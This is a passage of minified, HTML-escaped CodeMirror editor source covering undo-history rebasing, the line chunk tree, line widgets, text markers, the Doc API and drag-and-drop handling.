if(cmp(to,from)&lt;0){(assign=[to,from],from=assign[0],to=assign[1])}
if(typeof code==&quot;string&quot;){code=doc.splitLines(code)}
makeChange(doc,{from:from,to:to,text:code,origin:origin})}
function rebaseHistSelSingle(pos,from,to,diff){if(to&lt;pos.line){pos.line+=diff}else if(from&lt;pos.line){pos.line=from;pos.ch=0}}
function rebaseHistArray(array,from,to,diff){for(var i=0;i&lt;array.length;++i){var sub=array[i],ok=!0;if(sub.ranges){if(!sub.copied){sub=array[i]=sub.deepCopy();sub.copied=!0}
for(var j=0;j&lt;sub.ranges.length;j++){rebaseHistSelSingle(sub.ranges[j].anchor,from,to,diff);rebaseHistSelSingle(sub.ranges[j].head,from,to,diff)}
continue}
for(var j$1=0;j$1&lt;sub.changes.length;++j$1){var cur=sub.changes[j$1];if(to&lt;cur.from.line){cur.from=Pos(cur.from.line+diff,cur.from.ch);cur.to=Pos(cur.to.line+diff,cur.to.ch)}else if(from&lt;=cur.to.line){ok=!1;break}}
if(!ok){array.splice(0,i+1);i=0}}}
function rebaseHist(hist,change){var from=change.from.line,to=change.to.line,diff=change.text.length-(to-from)-1;rebaseHistArray(hist.done,from,to,diff);rebaseHistArray(hist.undone,from,to,diff)}
function changeLine(doc,handle,changeType,op){var no=handle,line=handle;if(typeof handle==&quot;number&quot;){line=getLine(doc,clipLine(doc,handle))}else{no=lineNo(handle)}
if(no==null){return null}
if(op(line,no)&amp;&amp;doc.cm){regLineChange(doc.cm,no,changeType)}
return line}
function LeafChunk(lines){this.lines=lines;this.parent=null;var height=0;for(var i=0;i&lt;lines.length;++i){lines[i].parent=this;height+=lines[i].height}
this.height=height}
LeafChunk.prototype={chunkSize:function(){return this.lines.length},removeInner:function(at,n){for(var i=at,e=at+n;i&lt;e;++i){var line=this.lines[i];this.height-=line.height;cleanUpLine(line);signalLater(line,&quot;delete&quot;)}
this.lines.splice(at,n)},collapse:function(lines){lines.push.apply(lines,this.lines)},insertInner:function(at,lines,height){this.height+=height;this.lines=this.lines.slice(0,at).concat(lines).concat(this.lines.slice(at));for(var i=0;i&lt;lines.length;++i){lines[i].parent=this}},iterN:function(at,n,op){for(var e=at+n;at&lt;e;++at){if(op(this.lines[at])){return!0}}}};function BranchChunk(children){this.children=children;var size=0,height=0;for(var i=0;i&lt;children.length;++i){var ch=children[i];size+=ch.chunkSize();height+=ch.height;ch.parent=this}
this.size=size;this.height=height;this.parent=null}
BranchChunk.prototype={chunkSize:function(){return this.size},removeInner:function(at,n){this.size-=n;for(var i=0;i&lt;this.children.length;++i){var child=this.children[i],sz=child.chunkSize();if(at&lt;sz){var rm=Math.min(n,sz-at),oldHeight=child.height;child.removeInner(at,rm);this.height-=oldHeight-child.height;if(sz==rm){this.children.splice(i--,1);child.parent=null}
if((n-=rm)==0){break}
at=0}else{at-=sz}}
if(this.size-n&lt;25&amp;&amp;(this.children.length&gt;1||!(this.children[0]instanceof LeafChunk))){var lines=[];this.collapse(lines);this.children=[new LeafChunk(lines)];this.children[0].parent=this}},collapse:function(lines){for(var i=0;i&lt;this.children.length;++i){this.children[i].collapse(lines)}},insertInner:function(at,lines,height){this.size+=lines.length;this.height+=height;for(var i=0;i&lt;this.children.length;++i){var child=this.children[i],sz=child.chunkSize();if(at&lt;=sz){child.insertInner(at,lines,height);if(child.lines&amp;&amp;child.lines.length&gt;50){var remaining=child.lines.length%25+25;for(var pos=remaining;pos&lt;child.lines.length;){var leaf=new LeafChunk(child.lines.slice(pos,pos+=25));child.height-=leaf.height;this.children.splice(++i,0,leaf);leaf.parent=this}
child.lines=child.lines.slice(0,remaining);this.maybeSpill()}
break}
at-=sz}},maybeSpill:function(){if(this.children.length&lt;=10){return}
var me=this;do{var spilled=me.children.splice(me.children.length-5,5);var sibling=new BranchChunk(spilled);if(!me.parent){var copy=new BranchChunk(me.children);copy.parent=me;me.children=[copy,sibling];me=copy}else{me.size-=sibling.size;me.height-=sibling.height;var myIndex=indexOf(me.parent.children,me);me.parent.children.splice(myIndex+1,0,sibling)}
sibling.parent=me.parent}while(me.children.length&gt;10)
me.parent.maybeSpill();},iterN:function(at,n,op){for(var i=0;i&lt;this.children.length;++i){var child=this.children[i],sz=child.chunkSize();if(at&lt;sz){var used=Math.min(n,sz-at);if(child.iterN(at,used,op)){return!0}
if((n-=used)==0){break}
at=0}else{at-=sz}}}};var LineWidget=function(doc,node,options){if(options){for(var opt in options){if(options.hasOwnProperty(opt)){this[opt]=options[opt]}}}
this.doc=doc;this.node=node};LineWidget.prototype.clear=function(){var cm=this.doc.cm,ws=this.line.widgets,line=this.line,no=lineNo(line);if(no==null||!ws){return}
for(var i=0;i&lt;ws.length;++i){if(ws[i]==this){ws.splice(i--,1)}}
if(!ws.length){line.widgets=null}
var height=widgetHeight(this);updateLineHeight(line,Math.max(0,line.height-height));if(cm){runInOp(cm,function(){adjustScrollWhenAboveVisible(cm,line,-height);regLineChange(cm,no,&quot;widget&quot;)});signalLater(cm,&quot;lineWidgetCleared&quot;,cm,this,no)}};LineWidget.prototype.changed=function(){var this$1=this;var oldH=this.height,cm=this.doc.cm,line=this.line;this.height=null;var diff=widgetHeight(this)-oldH;if(!diff){return}
if(!lineIsHidden(this.doc,line)){updateLineHeight(line,line.height+diff)}
if(cm){runInOp(cm,function(){cm.curOp.forceUpdate=!0;adjustScrollWhenAboveVisible(cm,line,diff);signalLater(cm,&quot;lineWidgetChanged&quot;,cm,this$1,lineNo(line))})}};eventMixin(LineWidget);function adjustScrollWhenAboveVisible(cm,line,diff){if(heightAtLine(line)&lt;((cm.curOp&amp;&amp;cm.curOp.scrollTop)||cm.doc.scrollTop)){addToScrollTop(cm,diff)}}
function addLineWidget(doc,handle,node,options){var widget=new LineWidget(doc,node,options);var cm=doc.cm;if(cm&amp;&amp;widget.noHScroll){cm.display.alignWidgets=!0}
changeLine(doc,handle,&quot;widget&quot;,function(line){var widgets=line.widgets||(line.widgets=[]);if(widget.insertAt==null){widgets.push(widget)}else{widgets.splice(Math.min(widgets.length-1,Math.max(0,widget.insertAt)),0,widget)}
widget.line=line;if(cm&amp;&amp;!lineIsHidden(doc,line)){var aboveVisible=heightAtLine(line)&lt;doc.scrollTop;updateLineHeight(line,line.height+widgetHeight(widget));if(aboveVisible){addToScrollTop(cm,widget.height)}
cm.curOp.forceUpdate=!0}
return!0});if(cm){signalLater(cm,&quot;lineWidgetAdded&quot;,cm,widget,typeof handle==&quot;number&quot;?handle:lineNo(handle))}
return widget}
var nextMarkerId=0;var TextMarker=function(doc,type){this.lines=[];this.type=type;this.doc=doc;this.id=++nextMarkerId};TextMarker.prototype.clear=function(){if(this.explicitlyCleared){return}
var cm=this.doc.cm,withOp=cm&amp;&amp;!cm.curOp;if(withOp){startOperation(cm)}
if(hasHandler(this,&quot;clear&quot;)){var found=this.find();if(found){signalLater(this,&quot;clear&quot;,found.from,found.to)}}
var min=null,max=null;for(var i=0;i&lt;this.lines.length;++i){var line=this.lines[i];var span=getMarkedSpanFor(line.markedSpans,this);if(cm&amp;&amp;!this.collapsed){regLineChange(cm,lineNo(line),&quot;text&quot;)}else if(cm){if(span.to!=null){max=lineNo(line)}
if(span.from!=null){min=lineNo(line)}}
line.markedSpans=removeMarkedSpan(line.markedSpans,span);if(span.from==null&amp;&amp;this.collapsed&amp;&amp;!lineIsHidden(this.doc,line)&amp;&amp;cm){updateLineHeight(line,textHeight(cm.display))}}
if(cm&amp;&amp;this.collapsed&amp;&amp;!cm.options.lineWrapping){for(var i$1=0;i$1&lt;this.lines.length;++i$1){var visual=visualLine(this.lines[i$1]),len=lineLength(visual);if(len&gt;cm.display.maxLineLength){cm.display.maxLine=visual;cm.display.maxLineLength=len;cm.display.maxLineChanged=!0}}}
if(min!=null&amp;&amp;cm&amp;&amp;this.collapsed){regChange(cm,min,max+1)}
this.lines.length=0;this.explicitlyCleared=!0;if(this.atomic&amp;&amp;this.doc.cantEdit){this.doc.cantEdit=!1;if(cm){reCheckSelection(cm.doc)}}
if(cm){signalLater(cm,&quot;markerCleared&quot;,cm,this,min,max)}
if(withOp){endOperation(cm)}
if(this.parent){this.parent.clear()}};TextMarker.prototype.find=function(side,lineObj){if(side==null&amp;&amp;this.type==&quot;bookmark&quot;){side=1}
var from,to;for(var i=0;i&lt;this.lines.length;++i){var line=this.lines[i];var span=getMarkedSpanFor(line.markedSpans,this);if(span.from!=null){from=Pos(lineObj?line:lineNo(line),span.from);if(side==-1){return from}}
if(span.to!=null){to=Pos(lineObj?line:lineNo(line),span.to);if(side==1){return to}}}
return from&amp;&amp;{from:from,to:to}};TextMarker.prototype.changed=function(){var this$1=this;var pos=this.find(-1,!0),widget=this,cm=this.doc.cm;if(!pos||!cm){return}
runInOp(cm,function(){var line=pos.line,lineN=lineNo(pos.line);var view=findViewForLine(cm,lineN);if(view){clearLineMeasurementCacheFor(view);cm.curOp.selectionChanged=cm.curOp.forceUpdate=!0}
cm.curOp.updateMaxLine=!0;if(!lineIsHidden(widget.doc,line)&amp;&amp;widget.height!=null){var oldHeight=widget.height;widget.height=null;var dHeight=widgetHeight(widget)-oldHeight;if(dHeight){updateLineHeight(line,line.height+dHeight)}}
signalLater(cm,&quot;markerChanged&quot;,cm,this$1)})};TextMarker.prototype.attachLine=function(line){if(!this.lines.length&amp;&amp;this.doc.cm){var op=this.doc.cm.curOp;if(!op.maybeHiddenMarkers||indexOf(op.maybeHiddenMarkers,this)==-1){(op.maybeUnhiddenMarkers||(op.maybeUnhiddenMarkers=[])).push(this)}}
this.lines.push(line)};TextMarker.prototype.detachLine=function(line){this.lines.splice(indexOf(this.lines,line),1);if(!this.lines.length&amp;&amp;this.doc.cm){var op=this.doc.cm.curOp;(op.maybeHiddenMarkers||(op.maybeHiddenMarkers=[])).push(this)}};eventMixin(TextMarker);function markText(doc,from,to,options,type){if(options&amp;&amp;options.shared){return markTextShared(doc,from,to,options,type)}
if(doc.cm&amp;&amp;!doc.cm.curOp){return operation(doc.cm,markText)(doc,from,to,options,type)}
var marker=new TextMarker(doc,type),diff=cmp(from,to);if(options){copyObj(options,marker,!1)}
if(diff&gt;0||diff==0&amp;&amp;marker.clearWhenEmpty!==!1){return marker}
if(marker.replacedWith){marker.collapsed=!0;marker.widgetNode=eltP(&quot;span&quot;,[marker.replacedWith],&quot;CodeMirror-widget&quot;);if(!options.handleMouseEvents){marker.widgetNode.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;)}
if(options.insertLeft){marker.widgetNode.insertLeft=!0}}
if(marker.collapsed){if(conflictingCollapsedRange(doc,from.line,from,to,marker)||from.line!=to.line&amp;&amp;conflictingCollapsedRange(doc,to.line,from,to,marker)){throw new Error(&quot;Inserting collapsed marker partially overlapping an existing one&quot;)}
seeCollapsedSpans()}
if(marker.addToHistory){addChangeToHistory(doc,{from:from,to:to,origin:&quot;markText&quot;},doc.sel,NaN)}
var curLine=from.line,cm=doc.cm,updateMaxLine;doc.iter(curLine,to.line+1,function(line){if(cm&amp;&amp;marker.collapsed&amp;&amp;!cm.options.lineWrapping&amp;&amp;visualLine(line)==cm.display.maxLine){updateMaxLine=!0}
if(marker.collapsed&amp;&amp;curLine!=from.line){updateLineHeight(line,0)}
addMarkedSpan(line,new MarkedSpan(marker,curLine==from.line?from.ch:null,curLine==to.line?to.ch:null));++curLine});if(marker.collapsed){doc.iter(from.line,to.line+1,function(line){if(lineIsHidden(doc,line)){updateLineHeight(line,0)}})}
if(marker.clearOnEnter){on(marker,&quot;beforeCursorEnter&quot;,function(){return marker.clear()})}
if(marker.readOnly){seeReadOnlySpans();if(doc.history.done.length||doc.history.undone.length){doc.clearHistory()}}
if(marker.collapsed){marker.id=++nextMarkerId;marker.atomic=!0}
if(cm){if(updateMaxLine){cm.curOp.updateMaxLine=!0}
if(marker.collapsed){regChange(cm,from.line,to.line+1)}else if(marker.className||marker.startStyle||marker.endStyle||marker.css||marker.attributes||marker.title){for(var i=from.line;i&lt;=to.line;i++){regLineChange(cm,i,&quot;text&quot;)}}
if(marker.atomic){reCheckSelection(cm.doc)}
signalLater(cm,&quot;markerAdded&quot;,cm,marker)}
return marker}
var SharedTextMarker=function(markers,primary){this.markers=markers;this.primary=primary;for(var i=0;i&lt;markers.length;++i){markers[i].parent=this}};SharedTextMarker.prototype.clear=function(){if(this.explicitlyCleared){return}
this.explicitlyCleared=!0;for(var i=0;i&lt;this.markers.length;++i){this.markers[i].clear()}
signalLater(this,&quot;clear&quot;)};SharedTextMarker.prototype.find=function(side,lineObj){return this.primary.find(side,lineObj)};eventMixin(SharedTextMarker);function markTextShared(doc,from,to,options,type){options=copyObj(options);options.shared=!1;var markers=[markText(doc,from,to,options,type)],primary=markers[0];var widget=options.widgetNode;linkedDocs(doc,function(doc){if(widget){options.widgetNode=widget.cloneNode(!0)}
markers.push(markText(doc,clipPos(doc,from),clipPos(doc,to),options,type));for(var i=0;i&lt;doc.linked.length;++i){if(doc.linked[i].isParent){return}}
primary=lst(markers)});return new SharedTextMarker(markers,primary)}
function findSharedMarkers(doc){return doc.findMarks(Pos(doc.first,0),doc.clipPos(Pos(doc.lastLine())),function(m){return m.parent})}
function copySharedMarkers(doc,markers){for(var i=0;i&lt;markers.length;i++){var marker=markers[i],pos=marker.find();var mFrom=doc.clipPos(pos.from),mTo=doc.clipPos(pos.to);if(cmp(mFrom,mTo)){var subMark=markText(doc,mFrom,mTo,marker.primary,marker.primary.type);marker.markers.push(subMark);subMark.parent=marker}}}
function detachSharedMarkers(markers){var loop=function(i){var marker=markers[i],linked=[marker.primary.doc];linkedDocs(marker.primary.doc,function(d){return linked.push(d)});for(var j=0;j&lt;marker.markers.length;j++){var subMarker=marker.markers[j];if(indexOf(linked,subMarker.doc)==-1){subMarker.parent=null;marker.markers.splice(j--,1)}}};for(var i=0;i&lt;markers.length;i++)loop(i);}
var nextDocId=0;var Doc=function(text,mode,firstLine,lineSep,direction){if(!(this instanceof Doc)){return new Doc(text,mode,firstLine,lineSep,direction)}
if(firstLine==null){firstLine=0}
BranchChunk.call(this,[new LeafChunk([new Line(&quot;&quot;,null)])]);this.first=firstLine;this.scrollTop=this.scrollLeft=0;this.cantEdit=!1;this.cleanGeneration=1;this.modeFrontier=this.highlightFrontier=firstLine;var start=Pos(firstLine,0);this.sel=simpleSelection(start);this.history=new History(null);this.id=++nextDocId;this.modeOption=mode;this.lineSep=lineSep;this.direction=(direction==&quot;rtl&quot;)?&quot;rtl&quot;:&quot;ltr&quot;;this.extend=!1;if(typeof text==&quot;string&quot;){text=this.splitLines(text)}
updateDoc(this,{from:start,to:start,text:text});setSelection(this,simpleSelection(start),sel_dontScroll)};Doc.prototype=createObj(BranchChunk.prototype,{constructor:Doc,iter:function(from,to,op){if(op){this.iterN(from-this.first,to-from,op)}else{this.iterN(this.first,this.first+this.size,from)}},insert:function(at,lines){var height=0;for(var i=0;i&lt;lines.length;++i){height+=lines[i].height}
this.insertInner(at-this.first,lines,height)},remove:function(at,n){this.removeInner(at-this.first,n)},getValue:function(lineSep){var lines=getLines(this,this.first,this.first+this.size);if(lineSep===!1){return lines}
return lines.join(lineSep||this.lineSeparator())},setValue:docMethodOp(function(code){var top=Pos(this.first,0),last=this.first+this.size-1;makeChange(this,{from:top,to:Pos(last,getLine(this,last).text.length),text:this.splitLines(code),origin:&quot;setValue&quot;,full:!0},!0);if(this.cm){scrollToCoords(this.cm,0,0)}
setSelection(this,simpleSelection(top),sel_dontScroll)}),replaceRange:function(code,from,to,origin){from=clipPos(this,from);to=to?clipPos(this,to):from;replaceRange(this,code,from,to,origin)},getRange:function(from,to,lineSep){var lines=getBetween(this,clipPos(this,from),clipPos(this,to));if(lineSep===!1){return lines}
return lines.join(lineSep||this.lineSeparator())},getLine:function(line){var l=this.getLineHandle(line);return l&amp;&amp;l.text},getLineHandle:function(line){if(isLine(this,line)){return getLine(this,line)}},getLineNumber:function(line){return lineNo(line)},getLineHandleVisualStart:function(line){if(typeof line==&quot;number&quot;){line=getLine(this,line)}
return visualLine(line)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(pos){return clipPos(this,pos)},getCursor:function(start){var range=this.sel.primary(),pos;if(start==null||start==&quot;head&quot;){pos=range.head}else if(start==&quot;anchor&quot;){pos=range.anchor}else if(start==&quot;end&quot;||start==&quot;to&quot;||start===!1){pos=range.to()}else{pos=range.from()}
return pos},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:docMethodOp(function(line,ch,options){setSimpleSelection(this,clipPos(this,typeof line==&quot;number&quot;?Pos(line,ch||0):line),null,options)}),setSelection:docMethodOp(function(anchor,head,options){setSimpleSelection(this,clipPos(this,anchor),clipPos(this,head||anchor),options)}),extendSelection:docMethodOp(function(head,other,options){extendSelection(this,clipPos(this,head),other&amp;&amp;clipPos(this,other),options)}),extendSelections:docMethodOp(function(heads,options){extendSelections(this,clipPosArray(this,heads),options)}),extendSelectionsBy:docMethodOp(function(f,options){var heads=map(this.sel.ranges,f);extendSelections(this,clipPosArray(this,heads),options)}),setSelections:docMethodOp(function(ranges,primary,options){if(!ranges.length){return}
var out=[];for(var i=0;i&lt;ranges.length;i++){out[i]=new Range(clipPos(this,ranges[i].anchor),clipPos(this,ranges[i].head))}
if(primary==null){primary=Math.min(ranges.length-1,this.sel.primIndex)}
setSelection(this,normalizeSelection(this.cm,out,primary),options)}),addSelection:docMethodOp(function(anchor,head,options){var ranges=this.sel.ranges.slice(0);ranges.push(new Range(clipPos(this,anchor),clipPos(this,head||anchor)));setSelection(this,normalizeSelection(this.cm,ranges,ranges.length-1),options)}),getSelection:function(lineSep){var ranges=this.sel.ranges,lines;for(var i=0;i&lt;ranges.length;i++){var sel=getBetween(this,ranges[i].from(),ranges[i].to());lines=lines?lines.concat(sel):sel}
if(lineSep===!1){return lines}else{return lines.join(lineSep||this.lineSeparator())}},getSelections:function(lineSep){var parts=[],ranges=this.sel.ranges;for(var i=0;i&lt;ranges.length;i++){var sel=getBetween(this,ranges[i].from(),ranges[i].to());if(lineSep!==!1){sel=sel.join(lineSep||this.lineSeparator())}
parts[i]=sel}
return parts},replaceSelection:function(code,collapse,origin){var dup=[];for(var i=0;i&lt;this.sel.ranges.length;i++){dup[i]=code}
this.replaceSelections(dup,collapse,origin||&quot;+input&quot;)},replaceSelections:docMethodOp(function(code,collapse,origin){var changes=[],sel=this.sel;for(var i=0;i&lt;sel.ranges.length;i++){var range=sel.ranges[i];changes[i]={from:range.from(),to:range.to(),text:this.splitLines(code[i]),origin:origin}}
var newSel=collapse&amp;&amp;collapse!=&quot;end&quot;&amp;&amp;computeReplacedSel(this,changes,collapse);for(var i$1=changes.length-1;i$1&gt;=0;i$1--){makeChange(this,changes[i$1])}
if(newSel){setSelectionReplaceHistory(this,newSel)}else if(this.cm){ensureCursorVisible(this.cm)}}),undo:docMethodOp(function(){makeChangeFromHistory(this,&quot;undo&quot;)}),redo:docMethodOp(function(){makeChangeFromHistory(this,&quot;redo&quot;)}),undoSelection:docMethodOp(function(){makeChangeFromHistory(this,&quot;undo&quot;,!0)}),redoSelection:docMethodOp(function(){makeChangeFromHistory(this,&quot;redo&quot;,!0)}),setExtending:function(val){this.extend=val},getExtending:function(){return this.extend},historySize:function(){var hist=this.history,done=0,undone=0;for(var i=0;i&lt;hist.done.length;i++){if(!hist.done[i].ranges){++done}}
for(var i$1=0;i$1&lt;hist.undone.length;i$1++){if(!hist.undone[i$1].ranges){++undone}}
return{undo:done,redo:undone}},clearHistory:function(){var this$1=this;this.history=new History(this.history.maxGeneration);linkedDocs(this,function(doc){return doc.history=this$1.history},!0)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(forceSplit){if(forceSplit){this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null}
return this.history.generation},isClean:function(gen){return this.history.generation==(gen||this.cleanGeneration)},getHistory:function(){return{done:copyHistoryArray(this.history.done),undone:copyHistoryArray(this.history.undone)}},setHistory:function(histData){var hist=this.history=new History(this.history.maxGeneration);hist.done=copyHistoryArray(histData.done.slice(0),null,!0);hist.undone=copyHistoryArray(histData.undone.slice(0),null,!0)},setGutterMarker:docMethodOp(function(line,gutterID,value){return changeLine(this,line,&quot;gutter&quot;,function(line){var markers=line.gutterMarkers||(line.gutterMarkers={});markers[gutterID]=value;if(!value&amp;&amp;isEmpty(markers)){line.gutterMarkers=null}
return!0})}),clearGutter:docMethodOp(function(gutterID){var this$1=this;this.iter(function(line){if(line.gutterMarkers&amp;&amp;line.gutterMarkers[gutterID]){changeLine(this$1,line,&quot;gutter&quot;,function(){line.gutterMarkers[gutterID]=null;if(isEmpty(line.gutterMarkers)){line.gutterMarkers=null}
return!0})}})}),lineInfo:function(line){var n;if(typeof line==&quot;number&quot;){if(!isLine(this,line)){return null}
n=line;line=getLine(this,line);if(!line){return null}}else{n=lineNo(line);if(n==null){return null}}
return{line:n,handle:line,text:line.text,gutterMarkers:line.gutterMarkers,textClass:line.textClass,bgClass:line.bgClass,wrapClass:line.wrapClass,widgets:line.widgets}},addLineClass:docMethodOp(function(handle,where,cls){return changeLine(this,handle,where==&quot;gutter&quot;?&quot;gutter&quot;:&quot;class&quot;,function(line){var prop=where==&quot;text&quot;?&quot;textClass&quot;:where==&quot;background&quot;?&quot;bgClass&quot;:where==&quot;gutter&quot;?&quot;gutterClass&quot;:&quot;wrapClass&quot;;if(!line[prop]){line[prop]=cls}else if(classTest(cls).test(line[prop])){return!1}else{line[prop]+=&quot; &quot;+cls}
return!0})}),removeLineClass:docMethodOp(function(handle,where,cls){return changeLine(this,handle,where==&quot;gutter&quot;?&quot;gutter&quot;:&quot;class&quot;,function(line){var prop=where==&quot;text&quot;?&quot;textClass&quot;:where==&quot;background&quot;?&quot;bgClass&quot;:where==&quot;gutter&quot;?&quot;gutterClass&quot;:&quot;wrapClass&quot;;var cur=line[prop];if(!cur){return!1}else if(cls==null){line[prop]=null}else{var found=cur.match(classTest(cls));if(!found){return!1}
var end=found.index+found[0].length;line[prop]=cur.slice(0,found.index)+(!found.index||end==cur.length?&quot;&quot;:&quot; &quot;)+cur.slice(end)||null}
return!0})}),addLineWidget:docMethodOp(function(handle,node,options){return addLineWidget(this,handle,node,options)}),removeLineWidget:function(widget){widget.clear()},markText:function(from,to,options){return markText(this,clipPos(this,from),clipPos(this,to),options,options&amp;&amp;options.type||&quot;range&quot;)},setBookmark:function(pos,options){var realOpts={replacedWith:options&amp;&amp;(options.nodeType==null?options.widget:options),insertLeft:options&amp;&amp;options.insertLeft,clearWhenEmpty:!1,shared:options&amp;&amp;options.shared,handleMouseEvents:options&amp;&amp;options.handleMouseEvents};pos=clipPos(this,pos);return markText(this,pos,pos,realOpts,&quot;bookmark&quot;)},findMarksAt:function(pos){pos=clipPos(this,pos);var markers=[],spans=getLine(this,pos.line).markedSpans;if(spans){for(var i=0;i&lt;spans.length;++i){var span=spans[i];if((span.from==null||span.from&lt;=pos.ch)&amp;&amp;(span.to==null||span.to&gt;=pos.ch)){markers.push(span.marker.parent||span.marker)}}}
return markers},findMarks:function(from,to,filter){from=clipPos(this,from);to=clipPos(this,to);var found=[],lineNo=from.line;this.iter(from.line,to.line+1,function(line){var spans=line.markedSpans;if(spans){for(var i=0;i&lt;spans.length;i++){var span=spans[i];if(!(span.to!=null&amp;&amp;lineNo==from.line&amp;&amp;from.ch&gt;=span.to||span.from==null&amp;&amp;lineNo!=from.line||span.from!=null&amp;&amp;lineNo==to.line&amp;&amp;span.from&gt;=to.ch)&amp;&amp;(!filter||filter(span.marker))){found.push(span.marker.parent||span.marker)}}}
++lineNo});return found},getAllMarks:function(){var markers=[];this.iter(function(line){var sps=line.markedSpans;if(sps){for(var i=0;i&lt;sps.length;++i){if(sps[i].from!=null){markers.push(sps[i].marker)}}}});return markers},posFromIndex:function(off){var ch,lineNo=this.first,sepSize=this.lineSeparator().length;this.iter(function(line){var sz=line.text.length+sepSize;if(sz&gt;off){ch=off;return!0}
off-=sz;++lineNo});return clipPos(this,Pos(lineNo,ch))},indexFromPos:function(coords){coords=clipPos(this,coords);var index=coords.ch;if(coords.line&lt;this.first||coords.ch&lt;0){return 0}
var sepSize=this.lineSeparator().length;this.iter(this.first,coords.line,function(line){index+=line.text.length+sepSize});return index},copy:function(copyHistory){var doc=new Doc(getLines(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);doc.scrollTop=this.scrollTop;doc.scrollLeft=this.scrollLeft;doc.sel=this.sel;doc.extend=!1;if(copyHistory){doc.history.undoDepth=this.history.undoDepth;doc.setHistory(this.getHistory())}
return doc},linkedDoc:function(options){if(!options){options={}}
var from=this.first,to=this.first+this.size;if(options.from!=null&amp;&amp;options.from&gt;from){from=options.from}
if(options.to!=null&amp;&amp;options.to&lt;to){to=options.to}
var copy=new Doc(getLines(this,from,to),options.mode||this.modeOption,from,this.lineSep,this.direction);if(options.sharedHist){copy.history=this.history}(this.linked||(this.linked=[])).push({doc:copy,sharedHist:options.sharedHist});copy.linked=[{doc:this,isParent:!0,sharedHist:options.sharedHist}];copySharedMarkers(copy,findSharedMarkers(this));return copy},unlinkDoc:function(other){if(other instanceof CodeMirror){other=other.doc}
if(this.linked){for(var i=0;i&lt;this.linked.length;++i){var link=this.linked[i];if(link.doc!=other){continue}
this.linked.splice(i,1);other.unlinkDoc(this);detachSharedMarkers(findSharedMarkers(this));break}}
if(other.history==this.history){var splitIds=[other.id];linkedDocs(other,function(doc){return splitIds.push(doc.id)},!0);other.history=new History(null);other.history.done=copyHistoryArray(this.history.done,splitIds);other.history.undone=copyHistoryArray(this.history.undone,splitIds)}},iterLinkedDocs:function(f){linkedDocs(this,f)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(str){if(this.lineSep){return str.split(this.lineSep)}
return splitLinesAuto(str)},lineSeparator:function(){return this.lineSep||&quot;\n&quot;},setDirection:docMethodOp(function(dir){if(dir!=&quot;rtl&quot;){dir=&quot;ltr&quot;}
if(dir==this.direction){return}
this.direction=dir;this.iter(function(line){return line.order=null});if(this.cm){directionChanged(this.cm)}})});Doc.prototype.eachLine=Doc.prototype.iter;var lastDrop=0;function onDrop(e){var cm=this;clearDragCursor(cm);if(signalDOMEvent(cm,e)||eventInWidget(cm.display,e)){return}
e_preventDefault(e);if(ie){lastDrop=+new Date}
var pos=posFromMouse(cm,e,!0),files=e.dataTransfer.files;if(!pos||cm.isReadOnly()){return}
if(files&amp;&amp;files.length&amp;&amp;window.FileReader&amp;&amp;window.File){var n=files.length,text=Array(n),read=0;var markAsReadAndPasteIfAllFilesAreRead=function(){if(++read==n){operation(cm,function(){pos=clipPos(cm.doc,pos);var change={from:pos,to:pos,text:cm.doc.splitLines(text.filter(function(t){return t!=null}).join(cm.doc.lineSeparator())),origin:&quot;paste&quot;};makeChange(cm.doc,change);setSelectionReplaceHistory(cm.doc,simpleSelection(clipPos(cm.doc,pos),clipPos(cm.doc,changeEnd(change))))})()}};var readTextFromFile=function(file,i){if(cm.options.allowDropFileTypes&amp;&amp;indexOf(cm.options.allowDropFileTypes,file.type)==-1){markAsReadAndPasteIfAllFilesAreRead();return}
var reader=new FileReader;reader.onerror=function(){return markAsReadAndPasteIfAllFilesAreRead()};reader.onload=function(){var content=reader.result;if(/[\x00-\x08\x0e-\x1f]{2}/.test(content)){markAsReadAndPasteIfAllFilesAreRead();return}
text[i]=content;markAsReadAndPasteIfAllFilesAreRead()};reader.readAsText(file)};for(var i=0;i&lt;files.length;i++){readTextFromFile(files[i],i)}}else{if(cm.state.draggingText&amp;&amp;cm.doc.sel.contains(pos)&gt;-1){cm.state.draggingText(e);setTimeout(function(){return cm.display.input.focus()},20);return}
try{var text$1=e.dataTransfer.getData(&quot;Text&quot;);if(text$1){var selected;if(cm.state.draggingText&amp;&amp;!cm.state.draggingText.copy){selected=cm.listSelections()}
setSelectionNoUndo(cm.doc,simpleSelection(pos,pos));if(selected){for(var i$1=0;i$1&lt;selected.length;++i$1){replaceRange(cm.doc,&quot;&quot;,selected[i$1].anchor,selected[i$1].head,&quot;drag&quot;)}}
cm.replaceSelection(text$1,&quot;around&quot;,&quot;paste&quot;);cm.display.input.focus()}}catch(e$1){}}}
function onDragStart(cm,e){if(ie&amp;&amp;(!cm.state.draggingText||+new Date-lastDrop&lt;100)){e_stop(e);return}
if(signalDOMEvent(cm,e)||eventInWidget(cm.display,e)){return}
e.dataTransfer.setData(&quot;Text&quot;,cm.getSelection());e.dataTransfer.effectAllowed=&quot;copyMove&quot;;if(e.dataTransfer.setDragImage&amp;&amp;!safari){var img=elt(&quot;img&quot;,null,null,&quot;position: fixed; left: 0; top: 0;&quot;);img.src=&quot;data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==&quot;;if(presto){img.width=img.height=1;cm.display.wrapper.appendChild(img);img._top=img.offsetTop}
e.dataTransfer.setDragImage(img,0,0);if(presto){img.parentNode.removeChild(img)}}}
function onDragOver(cm,e){var pos=posFromMouse(cm,e);if(!pos){return}
var frag=document.createDocumentFragment();drawSelectionCursor(cm,pos,frag);if(!cm.display.dragCursor){cm.display.dragCursor=elt(&quot;div&quot;,null,&quot;CodeMirror-cursors CodeMirror-dragcursors&quot;);cm.display.lineSpace.insertBefore(cm.display.dragCursor,cm.display.cursorDiv)}
removeChildrenAndAdd(cm.display.dragCursor,frag)}
function clearDragCursor(cm){if(cm.display.dragCursor){cm.display.lineSpace.removeChild(cm.display.dragCursor);cm.display.dragCursor=null}}
function forEachCodeMirror(f){if(!document.getElementsByClassName){return}
